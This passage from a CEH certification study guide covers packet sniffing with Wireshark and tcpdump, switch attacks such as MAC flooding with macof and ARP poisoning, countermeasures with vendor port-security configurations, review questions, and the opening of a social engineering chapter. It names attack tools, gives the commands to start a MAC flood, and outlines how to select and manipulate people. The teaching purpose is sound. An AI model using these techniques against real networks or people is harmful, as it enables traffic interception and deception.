eq
161
ip
addr
!=
192.168.1.2
ip
src
ne
192.168.1.2
http
*
contains
http://www.site.com
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Wireshark filters can look like literal strings of code, but keep the syntax
in mind and stick with what makes sense.
Table 9.3 covers Wireshark’s command-line interface (CLI) tools.
Table 9.3 Wireshark CLI tools
Command Function
tshark
A command-line version of Wireshark (similar to tcpdump)
dumpcap
Small program with the sole intent of capturing traffic
capinfos
Reads a capture and returns statistics on that file
editcap
Edits or translates the format of capture files
mergecap
Combines multiple capture files into one
text2cap
Creates a capture file from an ASCII hex dump of packets
Wireshark command-line tools are important, but for the exam focus on
learning the interface; memorizing the list of CLI commands is sufficient.
Tcpdump
Now that you’ve seen the basics of how to use Wireshark, let’s move directly to getting
our hands dirty with tcpdump. This utility is a command-line–based sniffer that is quite
robust in comparison to its GUI counterparts. Tcpdump has been around for quite some
time, and it was the tool of choice well before Wireshark came on the scene. Tcpdump is
native to Linux; the equivalent Windows tool is called WinDump. In Exercise 9.2, you will
use tcpdump to capture packets.
The following exercise is best completed using a virtual lab setup that has
at least two computers linked to the same network. The operating system you use is
your choice. In my lab I use a mix of Linux and Windows clients.
EXERCISE 9.2
Sniffing with Tcpdump
1. First, get your sniffing client ready by launching tcpdump on your Kali
installation. If you run tcpdump without any switches or options, you can use the
first or lowest numbered NIC and begin to catch traffic from that interface. This
exercise works fine with the defaults. The following image shows the application
up and running.
2. Next, you need to create some traffic. There are a few ways you can do this. In this
exercise you will use your Telnet client and make a connection between two
Windows clients.
Once the Telnet clients are talking and traffic is flowing, you can see what’s
coming across the wire.
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3. The tcpdump output in the terminal window view is fairly clear, but it’s still a
little clunky to work with. Go ahead and perform the same sniffing session again,
but this time save the output to a file for future reference. Note the command
syntax in the following graphic; this command takes the traffic captured by
tcpdump and writes it to a file named tel_capture.log.
4. There are a couple of ways to read the captured log file. One is with tcpdump, but
let’s do it the fancy way and use Wireshark to open the capture.
Tcpdump has a substantial number of switches and options. Just pull up
the main page and you can see for yourself. For the CEH exam, focus on the common
usable options, which we cover shortly.
Sniffing a network in a quiet and effective manner is an integral skill in an ethical
hacker’s toolkit. Setting up the connection properly and capturing traffic successfully is
extremely important, but as a hacker you must also possess the ability to dig into the
packets you’ve captured. In the next section you’ll learn how to do that. The ability to read
output from a sniffer is not just a CEH exam skill. It truly is one of those integral skills
that every hacker must have.
Reading Sniffer Output
Remember the original Jaws movie? Remember when Hooper and Brody cut the shark
open in the middle of the movie and Hooper started pulling stuff out of the stomach…
yuck! So how does this relate to sniffer output? Well, the concept is very similar. When
packets are captured, each one has a slew of innards that you can dissect one piece at a
time. Just as Hooper digs into the open-bellied shark, you too dig through the packet
innards to find those specific morsels that will tell you what you need to know. The point
here isn’t movie trivia (although I love killer shark flicks); the point you should take away
from this is that each packet captured really does have an immense amount of data that
you can use for reconnaissance or setting up future attacks. It’s even extremely useful as
a legitimate troubleshooting tool. Figure 9.1 shows a captured packet of a basic TCP
handshake. Can you find the basic three-way handshake steps?
Figure 9.1 TCP three-way handshake packet
Lines 2, 3, and 4 in Figure 9.1 are the SYN, SYN-ACK, and ACK that we discussed in
Chapter 2, “System Fundamentals.”
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Pay close attention to the pieces of a captured packet, and ensure that you
can convert hex and apply that conversion to the binary scale for octet recognition.
This skill is critical for eliminating at least two of the possible answers to a question.
Packet sniffing and its interpretation can be likened to an art. There are some people who
can think like a computer, take one glance at a packet, and tell you everything you ever
wanted to know about where it’s going and what’s it doing. This is not your goal, nor are
you expected to be able to do this for the CEH exam. As ethical hackers, we are
methodical, deliberate, patient, and persistent. This applies to reading packet captures as
well. In Exercise 9.3 you will step through a captured packet bit by bit. This skill will
prove invaluable not just for the exam but also for protecting your own network through
traffic analysis.
In Exercise 9.3 you will use Wireshark because it lets you read dissected
packets easily. On the CEH exam and in the real world, the output style may be
slightly different, but the pieces are essentially the same.
EXERCISE 9.3
Understanding Packet Analysis
1. From your Wireshark installation on Kali, you’re going to pull up the saved
capture from Exercise 9.1. Open the file using the Wireshark File menu and select
tel_capture.log. The log should look familiar.
2. Check the two bottom panes of the Wireshark display, where all the packet details
are available for review. Notice the highlighted portion in the bottom pane when
you select an item from the middle pane.
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3. Select the TCP portion of the packet in the middle pane.
4. Now take this one step further and apply your knowledge of hexadecimal while
taking advantage of Wireshark’s packet breakdown display. In the following
graphic, I have expanded the IP portion of the packet. Looking at the bottom pane
of the Wireshark display, notice that the hex number highlighted (c0 a8 01 02) is
the same as the decimal highlighted source IP (192.168.1.2) in the middle pane.
Pretty cool, huh? So what you’ve accomplished here is to relate something fairly
clear cut—a source IP address—to something not so clear—the hex guts of a
packet.
The CEH exam will expect you to know how to identify packet details such
as hexadecimal IP addresses, at least on paper. Remember, in a test environment if
you can determine the first octet and eliminate one or more of the possible answers,
do it! If you are rusty on breaking down IP addresses into hex, refer to Chapter 2 and
practice until you feel comfortable with the process.
Switched Network Sniffing
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Switched networks present an inherent initial challenge to sniffing a network in its
entirety. A wired switch doesn’t allow you to sniff the whole network. As you saw in
Chapter 2, each switchport is a collision domain, so traffic within the switch doesn’t travel
between ports.
Okay, enough switch talk. Your goal is to be able to sniff the network portions you want to
at will. To achieve this you can use the various techniques that we’ll explore in this
section.
MAC Flooding
One of the most common methods for enabling sniffing on a switch is to turn it into a
device that does allow sniffing. Because a switch keeps traffic separate to each switchport
(collision domain), you want to convert it into a hub-like environment. A switch keeps
track of MAC addresses received by writing them to a content addressable memory (CAM)
table. If a switch is flooded with MAC addresses, it may easily overwhelm the switch’s
ability to write to its own CAM table. This in turn makes the switch fail into a giant hub.
There are a few utilities available to accomplish this technique. One common Linux
utility is macof. Check out Figure 9.2 to see macof in action.
Figure 9.2 Macof MAC flood
What Is a CAM Table?
All CAM tables have a fixed size in which to store information. A CAM table will store
information such as the MAC address of each client, the port it is attached to, and
any virtual local area network (VLAN) information required. In normal operation, a
CAM table will be used by the switch to help get traffic to its destination, but when it
is full something else can happen.
In older switches, the flooding of a switch would cause the switch to fail “open” and
start to act like a hub. Once one switch was flooded and acting like a hub, the flood
would spill over and affect adjacent switches.
In order for the switch to continue acting like a hub, the intruder needs to maintain
the flood of MAC addresses. If the flooding stops, the timeouts that are set on the
switch will eventually start clearing out the CAM table entries, thus enabling the
switch to return to normal operation.
It is worth noting that in newer switches this has a decreased chance of being
successful, with the implementation of technologies such as IEEE 802.1x and the
presence of other features such as sticky MAC support in modern hardware.
Overflowing a CAM table using Ubuntu is a simple matter. The standard repositories
store the tools needed for a successful attack and can be easily obtained with aptitude. To
use aptitude to obtain the required tools, su to root (or sudo) and type the following to
install the dsniff suite (which includes macof):
aptitude install dsniff
Once installation is complete, at the command prompt enter the following:
macof
At this point the utility will start flooding the CAM table with invalid MAC addresses. To
stop the attack, press Ctrl+Z.
ARP Poisoning
Address Resolution Protocol (ARP) poisoning attempts to contaminate a network with
improper gateway mappings. As explained in Chapter 2, ARP essentially maps IP
addresses to specific MAC addresses, thereby allowing switches to know the most
efficient path for the data being sent. Interestingly enough, ARP traffic doesn’t have any
prerequisites for its sending or receiving process; ARP broadcasts are free to roam the
network at will. The attacker takes advantage of this open traffic concept by feeding these
incorrect ARP mappings to the gateway itself or to the hosts of the network. Either way,
the attacker is attempting to become the hub of all network traffic. Some tools you can
use to ARP-poison a host are Ettercap, Cain & Abel (see Figure 9.3), and arpspoof.
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Figure 9.3 Cain & Abel
Enabling the IP DHCP Snooping feature on Cisco switches prevents ARP
poisoning. Questions regarding ARP poisoning should make you think IP DHCP
Snooping. IP DHCP Snooping verifies MAC-to-IP mappings and stores valid
mappings in a database. For the CEH exam, focus on what the command is and what
it prevents.
MAC Spoofing
MAC spoofing is a simple concept in which an attacker (or pentester) changes their MAC
address to the MAC address of an existing authenticated machine already on the network.
The simplest example of employing this strategy is when a network administrator has
applied port security to the switches on their network. Port security is a low-level security
methodology that allows only a specific number of MAC addresses to attach to each
switchport (usually one or two). If this number is exceeded (for example, if you take off
the original machine and attach one or two unrecognized units), the port will usually shut
down depending on the configuration applied. MAC spoofing isn’t necessarily a technique
used to allow network-wide sniffing, but it does work to allow an unauthorized client onto
the network without too much administrative hacking effort.
Port Mirror or SPAN Port
Another way to circumvent switches is through the use of physical means—getting
physical access to the switch and using port mirroring or a Switched Port Analyzer (SPAN)
port. This technique is used to send a copy of every network packet encountered on one
switchport or a whole VLAN to another port where it may be monitored. This
functionality is used to monitor network traffic either for diagnostic purposes or for the
purpose of implementing devices such as network intrusion detection systems (NIDSs).
One detail worth adding is that in some switches it is entirely possible to configure port
mirroring remotely. However, in terms of danger, getting physical access to a switch or
other device is extremely dangerous due to the presumed proximity to the owner or
protectors of a system.
On the Defensive
As an ethical hacker, your work could very likely put you in a position of prevention
rather than pen testing. Based on what we’ve covered so far in this chapter, what you
know as an attacker can help you prevent the very techniques you employ from the
outside in. Here are defenses against the attacks we just covered from a pentester’s
perspective:
Use a hardware-switched network for the most sensitive portions of your network in
an effort to isolate traffic to a single segment or collision domain.
Implement IP DHCP Snooping on switches to prevent ARP poisoning and spoofing
attacks.
Implement policies preventing promiscuous mode on network adapters.
Be careful when deploying wireless access points, knowing that all traffic on the
wireless network is subject to sniffing.
Encrypt your sensitive traffic using an encrypting protocol such as SSH or IPsec.
Technologies such as SSL and IPsec are designed not only to keep traffic
from being altered but also to prevent prying eyes from seeing traffic they shouldn’t.
Here are other methods of hardening a network against sniffing:
Static ARP entries, which consist of preconfiguring a device with the MAC addresses of
devices that it will be working with ahead of time. However, this strategy does not
scale well.
Port security is used by switches that have the ability to be programmed to allow only
specific MAC addresses to send and receive data on each port.
IPv6 has security benefits and options that IPv4 does not have.
Replacing protocols such as FTP and Telnet with SSH is an effective defense against
sniffing. If SSH is not a viable solution, consider protecting older legacy protocols with
IPsec.
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Virtual private networks (VPNs) can provide an effective defense against sniffing due
to their encryption aspect.
SSL is a great defense along with IPsec.
Mitigating MAC Flooding
You can mitigate the CAM table-overflow attack by configuring port security on the
switch. This will allow MAC addresses to be specified on a particular switchport, or you
can specify the maximum number of MAC addresses that the switchport can learn. Once
this maximum number of MAC addresses threshold has been reached, the port will shut
down if so configured; this would thwart the flooding attack.
Cisco IOS Mitigation
Listing 9.1 shows a sample of configuration options on the Cisco IOS.
Listing 9.1: Configuration of a Cisco device
switch(config-if)# switchport mode access
!Set the interface mode as access!
switch(config-if)# switchport port-security
!Enable port-security on the interface!
switch(config-if)# switchport port-security
sticky }
!Enable port security on the MAC address as
address connected to the interface!
switch(config-if)# switchport port-security
!Set maximum number of MAC addresses on the
switch(config-if)# switchport port-security
shutdown }
!Protect, Restrict, or Shutdown the port.
mac-address { <mac_addr> |
H.H.H or record the first MAC
maximum <max_addresses>
port!
violation { protect | restrict |
Cisco recommends the shutdown option.
Juniper Mitigation
Listing 9.2 shows configuration options for Juniper.
Listing 9.2: Configuration options for Juniper
root@switch# set interface { <interface> | all } mac-limit <limit> action {
none | drop | log | shutdown }
# Set the maximum number of MAC addresses allowed to connect to the
interface
root@switch# set interface { <interface> | all } allowed-mac <mac_address>
# Set the allowed MAC address(es) allowed to connect to the interface
NETGEAR Mitigation
Listing 9.3 shows configuration of a NETGEAR device.
Listing 9.3: NETGEAR options
(Config)# interface <interface>
!Enter the interface configuration mode for <interface>!
(Interface <interface>)# port-security
!Enables port-security on the interface!
(Interface <interface>)# port-security max-dynamic <maxvalue>
!Sets the maximum of dynamically locked MAC addresses allowed on a specific
port!
(Interface <interface>)# port-security max-static <maxvalue>
!Sets the maximum number of statically locked MAC addresses allowed on a
specific port!
(Interface <interface>)# port-security mac-address <vid> <mac-address>
!Adds a MAC address to the list of statically locked MAC addresses. <vid> =
VLAN ID!
(Interface <interface>)# port-security mac-address move
!Converts dynamically locked MAC addresses to statically locked addresses!
(Interface <interface>)# snmp-server enable traps violation
!Enables the sending of new violation traps designating when a packet with a
disallowed MAC address is received on a locked port!
The examples here come from official documentation from each of the
vendors mentioned. Since each vendor has multiple models, the command sets and
installed firmware may be slightly different from one model to the next. Before using
these exact steps, check your documentation.
Detecting Sniffing Attacks
Aside from pure defensive tactics, it is possible to be proactive and use detection
techniques designed to locate any attempts to sniff and shut them down. These methods
include the following:
Look for systems running network cards in promiscuous mode. Under normal
circumstances there is little reason for a network card to be in promiscuous mode, and
as such all cards running in this mode should be investigated.
Run an NIDS to detect telltale signs of sniffing and track it down.
Tools such as HP’s Performance Insight can provide a way to view the network and
identify unusual traffic.
Summary
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This chapter covered what a sniffer is and how it works. You learned about two common
sniffing utilities, Wireshark and tcpdump. You saw the importance of Wireshark search
strings for real-world filtering and exam preparation. This chapter briefly touched on CLI
commands for Wireshark that allow similar functionality to that of the GUI version. You
also captured some packets with both Wireshark and tcpdump, and you learned how to
dissect and analyze those packets by taking advantage of Wireshark’s robust detailed
interface. You explored some basic techniques to overcome a switched network’s inherent
sniffing limitations and reviewed defensive actions that you can take to protect your
networks from sniffing and subsequent attacks.
Exam Essentials
Know the purpose of sniffing. Sniffing is a technique used to gather information as it
flows across the network. Sniffing can be performed using software-based systems or
through the use of hardware devices known as protocol analyzers.
Understand your targets. For each target, know what type of information you are
looking for—passwords, data, or something else.
Know what makes sniffing possible. Sniffing is possible due to traffic being sent in
the clear as well as access to the network. Also, having the ability to switch a network card
into promiscuous mode allows you to view all traffic on the network as it flows by.
Know your defenses. Know that techniques such as encryption, IPsec, SSL, SSH, and
VPNs can provide effective countermeasures against sniffing.
Review Questions
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1. On a switch, each switchport represents a ____________.
A. VLAN
B. Broadcast domain
C. Host
D. Collision domain
2. Wireless access points function as a ____________.
A. Hub
B. Bridge
C. Router
D. Repeater
3. What mode must be configured to allow an NIC to capture all traffic on the wire?
A. Extended mode
B. 10/100
C. Monitor mode
D. Promiscuous mode
4. Which of the following prevents ARP poisoning?
A. ARP Ghost
B. IP DHCP Snooping
C. IP Snoop
D. DNSverf
5. Jennifer is a system administrator who is researching a technology that will secure
network traffic from potential sniffing by unauthorized machines. Jennifer is not
concerned with the future impact on legitimate troubleshooting. What technology can
Jennifer implement?
A. SNMP
B. LDAP
C. SSH
D. FTP
6. MAC spoofing applies a legitimate MAC address to an unauthenticated host, which
allows the attacker to pose as a valid user. Based on your understanding of ARP, what
would indicate a bogus client?
A. The MAC address doesn’t map to a manufacturer.
B. The MAC address is two digits too long.
C. A reverse ARP request maps to two hosts.
D. The host is receiving its own traffic.
7. Bob is attempting to sniff a wired network in his first pen test contract. He sees only
traffic from the segment he is connected to. What can Bob do to gather all switch
traffic?
A. MAC flooding
B. MAC spoofing
C. IP spoofing
D. DOS attack
8. What technique funnels all traffic back to a single client, allowing sniffing from all
connected hosts?
A. ARP redirection
B. ARP poisoning
C. ARP flooding
D. ARP partitioning
9. Which Wireshark filter displays only traffic from 192.168.1.1?
A. ip.addr =! 192.168.1.1
B. ip.addr ne 192.168.1.1
C. ip.addr == 192.168.1.1
D. ip.addr – 192.168.1.1
10. What common tool can be used for launching an ARP poisoning attack?
A. Cain & Abel
B. Nmap
C. Scooter
D. Tcpdump
11. Which command launches a CLI version of Wireshark?
A. Wireshk
B. dumpcap
C. tshark
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D. editcap
12. Jennifer is using tcpdump to capture traffic on her network. She would like to save the
capture for later review. What command can Jennifer use?
A. tcpdump –r capture.log
B. tcpdump – l capture.log
C. tcpdump –t capture.log
D. tcpdump –w capture.log
13. What is the generic syntax of a Wireshark filter?
A. protocol.field operator value
B. field.protocol operator value
C. operator.protocol value field
D. protocol.operator value field
14. Tiffany is analyzing a capture from a client’s network. She is particularly interested in
NetBIOS traffic. What port does Tiffany filter for?
A. 123
B. 139
C. 161
D. 110
15. Based on the packet capture shown in the graphic, what is contained in the highlighted
section of the packet?
A. The frame value of the packet
B. The MAC address of the sending host
C. Source and destination IP addresses
D. The routed protocol value
16. Jennifer is using tcpdump to capture traffic on her network. She would like to review a
capture log gathered previously. What command can Jennifer use?
A. tcpdump –r capture.log
B. tcpdump – l capture.log
C. tcpdump –t capture.log
D. tcpdump –w capture.log
17. Wireshark requires a network card to be able to enter which mode to sniff all network
traffic?
A. Capture mode
B. Promiscuous mode
C. Pcap mode
D. Gather mode
18. Which network device can block sniffing to a single network collision domain, create
VLANs, and make use of SPAN ports and port mirroring?
A. Hub
B. Switch
C. Router
D. Bridge
19. What device will neither limit the flow of traffic nor have an impact on the
effectiveness of sniffing?
A. Hub
B. Router
C. Switch
D. Gateway
20. The command-line equivalent of WinDump is known as what?
A. Wireshark
B. Tcpdump
C. WinDump
D. Netstat
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Chapter 10
Social Engineering
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CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
X. Social Engineering
A. Types of social engineering
B. Social networking
C. Technology assisting social networking
E. Defensive strategies
F. Pentesting issues
So far in this book we have covered a lot of threats, but they have all
been technological in nature. In this chapter, we will shift gears and discuss social
engineering. Social engineering deals with the targeting and manipulation of human
beings rather than technology or other mechanisms. This method is popular because the
human element is frequently the weakest part of a system and most prone to mistakes.
The reality is that security starts and stops with the human element. If that element fails,
the entire system can be weakened rapidly. The end user represents the first line of
defense in many cases and is the one factor that can have the greatest impact on the
relative security or insecurity of a given environment. Human beings can be either
reactive or proactive to security incidents and can stop many issues before they become
problems.
As an ethical hacker, you need to be aware of the threats and dangers of social
engineering as well as how to use these techniques. This chapter explores how social
engineering works, why it is successful, and how you can use it in your penetration
testing.
What Is Social Engineering?
Social engineering is a term that is widely used but poorly understood. It’s generally
defined as any type of attack that is nontechnical in nature and that involves some type of
human interaction with the goal of trying to trick or coerce a victim into revealing
information or violate normal security practices.
Social engineers are interested in gaining information they can use to carry out actions
such as identity theft or stealing passwords, or in finding out information for later use.
Scams may include trying to make a victim believe the attacker is technical support or
someone in authority. An attacker may dress a certain way with the intent of fooling the
victim into thinking the person has authority. The end goal of each approach is for the
victim to drop their guard or for the attacker to gain enough information to better
coordinate and plan a later attack.
Social engineering is one of the few types of attacks that can be classified
as nontechnical in the context of the CEH exam. The attack category relies on the
weaknesses or strengths of human beings rather than application of technology.
Human beings have been shown to be very easily manipulated into providing
information or other details that may be useful to an attacker.
If it helps, you can think of social engineers in the same context as con artists. Typically,
individuals who engage in this type of activity are very good at recognizing telltale signs or
behaviors that can be useful in extracting information, such as the following:
Moral Obligation An attacker may prey on a victim’s desire to provide assistance
because they feel compelled to do so out of a sense of duty.
Trust Human beings have an inherent tendency to trust others. Social engineers exploit a
human’s tendency to trust by using buzzwords or other means. In the case of buzzwords,
for example, use of familiar terms may lead a victim to believe that an attacker has insider
knowledge of a project or place.
Threats A social engineer may threaten a victim if they do not comply with a request.
Something for Nothing The attacker may promise a victim that for little or no work,
they will reap tremendous rewards.
Ignorance The reality is that many people do not realize the dangers associated with
social engineering and don’t recognize it as a threat.
Why Does Social Engineering Work?
Social engineering is effective for a number of reasons, each of which can be remedied or
exploited depending on whether you are the defender or the attacker. Let’s take a look at
each:
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Lack of a Technological Fix Let’s face it, technology can do a lot to fix problems and
address security—but at the same time, it can be a source of weakness. One thing that
technology has little or no impact on is blunting the effectiveness of social engineering.
This is largely because technology can be circumvented or configured incorrectly by
human beings.
Insufficient Security Policies The policies that state how information, resources, and
other related items should be handled are often incomplete or insufficient at best.
Difficult Detection Social engineering by its very nature can be hard to detect. Think
about it: An attack against technology may leave tracks in a log file or trip an intrusion
detection system (IDS), but social engineering probably won’t.
Lack of Training Lack of training or insufficient training about social engineering and
how to recognize it can be a big source of problems.
EC-Council likes to say, “There is no patch for human stupidity.” This
statement sounds mean spirited, but it makes sure you understand that although you
can patch technology, you can’t patch a human being to solve problems. I take a
different approach and think of dealing with human beings not in terms of patching
but in terms of training. To me, training is a form of fixing bad behaviors and raising
awareness of problems and issues ahead of time.
In many of the cases discussed in this book, you have seen social engineering play a role.
One such example is that of Trojans, which exploit social engineering to entice a victim to
open an executable or attachment that is infected with malware. A Trojan is a piece of
malware that relies primarily on the element of social engineering as a mechanism to
start an infection. Using the social-engineering aspect, virus writers can entice an
unsuspecting victim into executing malware with the promise of giving them something
they expect or want.
Another example of how social engineering works is the case of scareware. This type of
malware is designed to frighten a victim into taking action when none is necessary. The
best example is the case of fake antivirus products that prompt users with very realistic
but fake messages that they should download an “antivirus” to disinfect their system.
In both cases, simple training and awareness could easily stop an attack before a security
incident occurs. You should know the signs of social engineering and include a dose of
common sense prior to implementing social engineering in your testing. Some common
signs that may indicate a social-engineering attack include, but are not limited to, the
following:
Use of authority by an attacker, such as making overt references to whom they are or
whom they know or even making threats based on their claimed power or authority
Inability to give valid contact information that would allow the attacker to be called or
contacted as needed
Making informal or off-the-book requests designed to encourage the victim to give out
information that they may not otherwise
Excessive name-dropping as to whom the attacker knows inside the organization
Excessive use of praise or compliments designed to flatter a victim
Discomfort or uneasiness when questioned
The Power of Social Engineering
Why is social engineering such a powerful tool, and why will it continue to be so? To
answer this, you must first understand why it works and what this means to you as a
pentester. Going after the human being instead of the technology works for a number of
reasons:
Trust Human beings are a trusting lot. It’s built into the species. When you see someone
dressed a certain way (such as wearing a uniform) or hear them say the right words, you
trust them more than you normally would. For example, if you see someone dressed in a
set of scrubs and carrying a stethoscope, you tend to trust them. This tendency to trust is
a weakness that can be exploited.
Human Habit and Nature Human beings tend to follow certain default habits and
actions without thinking. People take the same route to work, say the same things, and
take the same actions without thought. In many cases, people have to consciously
attempt to act differently from the norm in order to break from their learned habits. A
good social engineer can observe these habits and use them to track people or follow the
actions of groups and gain entry to buildings or access to information.
Social-Engineering Phases
Social engineering, like the other attacks we have explored in this book, consists of
multiple phases, each designed to move the attacker one step closer to the ultimate goal.
Let’s look at each of these phases and how the information gained from one leads to the
next:
1. Use footprinting and gather details about a target through research and observation.
Sources of information can include dumpster diving, phishing, websites, employees,
company tours, or other interactions.
2. Select a specific individual or group who may have the access or information you need
to get closer to the desired target. Look for sources such as people who are frustrated,
overconfident, or arrogant and willing to provide information readily. In fact, the
presence of this type of person can take the form of an insider threat.
3. Forge a relationship with the intended victim through conversations, discussions,
emails, or other means.
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4. Exploit the relationship with the victim, and extract the desired information.
You can also look at these four phases as three distinct components of the socialengineering process:
Research (step 1)
Develop (steps 2 and 3)
Exploit (step 4)
EC-Council recommends watching movies such as Catch Me If You Can,
The Italian Job, and Matchstick Men as great ways to observe different types of
social engineering in action. Catch Me If You Can is a dramatization of the exploits of
a real-life social engineer. If you watch these movies, pay close attention to the
different ways social-engineering techniques can be employed, how they work, and
why they are effective.
What Is the Impact of Social Engineering?
Social engineering can have many potential outcomes on an organization, some obvious
and some less so. It is important that you understand each of these, because they can
have far-reaching effects:
Economic Loss This one is fairly obvious. A social engineer may cause a company or
organization to lose money through deception, lost productivity, or identity theft.
Terrorism Perhaps one of the more visible forms of social engineering is terrorism. In
this case, a target is coerced into action through the threat of physical violence.
Loss of Privacy An attacker using these techniques can easily steal information to
perform identity theft on any number of victims.
Lawsuits and Arbitrations Depending on the compromise, the successful completion
of an attack may result in lawsuits or other actions against the victim or the victim’s
organization.
Temporary or Permanent Closure Depending on how bad the breach is, the result
can be catastrophic, with an entire business closing because of mounting financial losses
and lawsuits.
Loss of Goodwill Although all losses may not be monetary, they can still be devastating,
such as the loss of goodwill from customers or clients.
If you have a good memory, you may recall some of the issues on this list
from previous discussions. I’ve repeated them here to emphasize that socialengineering attacks can be just as dangerous as—or more so than—technical attacks.
It is to your benefit to remember this when you are doing your testing and planning,
because far too often the social element is overlooked in favor of focusing on
technology. Although it is possible to do things such as cracking passwords by a
technical attack, sometimes you can get what you want just by asking nicely.
Common Targets of Social Engineering
An attacker will look for targets of opportunity or potential victims who have the most to
offer. Some common targets include receptionists, help desk personnel, users, executives,
system administrators, outside vendors, and even maintenance personnel. Let’s look at
each and see why this is.
Receptionists—one of the first people visitors see in many companies—represent prime
targets. They see many people go in and out of an office, and they hear a lot of things. In
addition, receptionists are meant to be helpful and therefore are not security focused.
Establishing a rapport with these individuals can easily yield information that’s useful on
its own or for future attacks.
Help desk personnel offer another tempting and valuable target due to the information
they may have about infrastructure, among other things. Filing fake support requests or
asking these personnel leading questions can yield valuable information.
System administrators can also be valuable targets of opportunity, again because of the
information they possess. The typical administrator can be counted on to have very highlevel knowledge of infrastructure and applications as well as future development plans.
Also, some system admins possess far-reaching knowledge about the entire company’s
network and infrastructure. Given the right enticements and some effort, these targets
can sometimes yield tremendous amounts of information. Techniques I have used in the
past include asking questions about their experience, career path, and such, and then
using that to learn more about what they currently do.
Executives are another prime target for attackers because individuals in these types of
positions are not focused on security. In fact, many of the people in these positions focus
on business processes, sales, finance, and other areas.
Users are probably one of the biggest sources of leaks because they are the ones who
handle, process, and manage information day to day. Couple this with the fact that many
of these individuals may be less than prepared for dealing with this information safely.
Many times over the years I have noticed the tendency for system
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administrators to leave themselves shortcuts to get their jobs done. Although I am
not going to bash the idea of shortcuts—I use them myself and fully endorse their
usage—it’s the incorrect usage of shortcuts that I want to address. One of the
applications that I find most problematic is the use of backdoor accounts. I have
performed many system audits in which I found these accounts, put there to allow an
administrator to quickly and easily log in and/or perform certain tasks without
having to go through safer or permitted methods. In many of my audits, these
accounts were unmonitored—or even forgotten when the original owner left the
organization. In the latter case, the accounts remained and were unsecured; no one
knew they existed except their original creator, who had long since moved on.
Knowing that some administrators have this tendency, a good social engineer can
look for clues as to the existence of such accounts.
So why do system administrators and the like place backdoors that may circumvent
security on a system? Well, I have found in some cases that they have been put there
to provide an alternative means to enter the system in the event their primary
accounts are unavailable. In other words, they are put there in case they lose access
or their primary accounts are locked out.
Social Networking to Gather Information?
Over the last decade, some of the biggest security threats have come from the use of
social networking. The rapid growth of these technologies lets millions of users each day
post on Facebook, Twitter, and many other networks. What type of information are they
posting?
Personal information
Photos
Location information
Friend information
Business information
Likes and dislikes
The danger of making this wealth of information available is that a curious attacker can
piece together clues from these sources and get a clear picture of an individual or a
business. With this information in hand, the attacker can make a convincing
impersonation of that individual or gain entry into a business by using insider
information.
The process of using information from many different sources to
indirectly gain insight about a hidden or protected target is known as inference.
When you, as an attacking party, play detective and gather information meticulously
and as completely as possible, the results can be impressive. Keeping your eyes and
ears open, you can catch nuggets of information that human beings tend to let slip in
the course of a conversation or a day.
Before you post any type of information on these networks, ask yourself a few questions:
Have you thought about what to share?
How sensitive is the information being posted, and could it be used negatively?
Is this information that you would freely share offline?
Is this information that you wish to make available for a long time, if not forever?
Social networking has made the attacker’s job much easier based on the sheer volume of
data and personal information available. In the past, this information may not have been
as easy to get, but now, with a few button clicks, it can be had with little time investment.
With little effort is it possible for an attacker to gather the following:
Location information
Personal data
Company information
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Photos of private or secure facilities
Information on coworkers
Event or vacation information
Going back to our earlier exploration of footprinting as part of the attack process, you
learned just how powerful unprotected information can be. When employees post
information on social networks or other sites, it should always be with a mind toward
how valuable the information may be in the wrong hands and whether it is worth posting.
It is easy to search social networks and find information that an individual may have
shared to too wide an audience.
A Wealth of Information
In early 2009, Facebook officials announced that their user base had surpassed 400
million users, making it the largest social network of all time with further growth
expected. Likewise, Twitter claims to have 6 million unique monthly visitors and 55
million monthly visitors. With this kind of volume and these networks’ inherent
reach, it’s easy to see why criminals look to these sites as a treasure trove of
information and a great way to locate and identify victims.
Not surprisingly, security stories about Twitter and Facebook have dominated the
headlines in recent years. In one high-profile case, hackers managed to hijack the
Twitter accounts of more than 30 celebrities and organizations, including President
Barack Obama and Britney Spears. The hacked accounts were then used to send
malicious messages, many of them offensive. According to Twitter, the accounts were
hijacked using the company’s own internal support tools.
Twitter has also had problems with worms, as well as spammers who open accounts
and then post links that appear to be about popular topics but that actually link to
porn or other malicious sites. Of course, Twitter isn’t alone in this: Facebook, too,
regularly chases down new scams and threats.
Both sites have been criticized for their apparent lack of security, and both have
made improvements in response to this criticism. Facebook, for example, now has an
automated process for detecting issues in users’ accounts that may indicate malware
or hacker attempts.
With Facebook recently celebrating its 10-year anniversary and showing no signs of
lessening in popularity, the issue of security will undoubtedly become higher profile.
Over the next decade, more apps, services, and other technologies can be expected to
switch to mechanisms that integrate more tightly with Facebook, using it as a sort of
authentication mechanism. Although for the sake of convenience this may be a good
idea, from a security standpoint it means that breaching a Facebook account can
allow access to a wealth of linked information.
Networking
Social media can be made safer if you take simple steps to strengthen your accounts. In
fact, it has been found in many cases that with a little care and effort, you can lessen or
avoid many common security issues and risks. You can reuse some of the guidance from
earlier chapters and apply it to these new platforms:
Password Using the same password across multiple sites means anyone who gets
controls of the password can access whatever data or personal information you store on
any of those sites. In a worst-case scenario, for example, a Twitter password hack can give
the hacker the key to an online banking account. Keep in mind that if you use a password
on a site that doesn’t protect information carefully someone can steal it. Many socialTechnet24.ir
networking sites have grown so large so fast that they do not take appropriate measures
to secure the information they are entrusted with until it is too late. In addition, many
users never or rarely ever change their passwords, making their accounts even more
vulnerable.
Too Much Information With the proliferation of social networking, the tendency to
share too much has become more common. Users of these networks share more and
more information without giving much thought to who may be reading it. The attitude
nowadays tends to skew toward sharing information. People increasingly see sharing as
no big deal. However, an individual’s or company’s brand and reputation can easily be
tarnished if the wrong information is shared. In some cases, companies have taken the
brunt of the public’s ire because an employee posted something that was off-color or
offensive. It may not initially seem like a security problem but rather a public relations
issue; but one of the items you must protect as a security-minded individual is the
public’s perception of your company.
Unsafe at Home
One example of a brand being tarnished through social media is that of Home Depot.
In late 2013, the marketing firm contracted by the company posted a picture through
the social media network Twitter that was viewed as being extremely racist. Even
though Home Depot did not itself post the tweet, it was posted on the company’s
official account. In response to the incident, Home Depot quickly terminated the
agency and the employee responsible for the posting.
The fallout from the incident included derision and praise. Although most viewed
Home Depot’s response as being swift, decisive, and thoughtful, other members of
the public were offended and vowed not to ever frequent the retailer again.
Overall, the reaction wasn’t overwhelmingly bad due to Home Depot’s quick
response. It could have been much worse.
Many types of scams can ensnare users by preying on an aspect of human nature that
entices people to investigate or do something they would not normally do:
Secret Details about Some Celebrity’s Death This type of post feeds on people’s
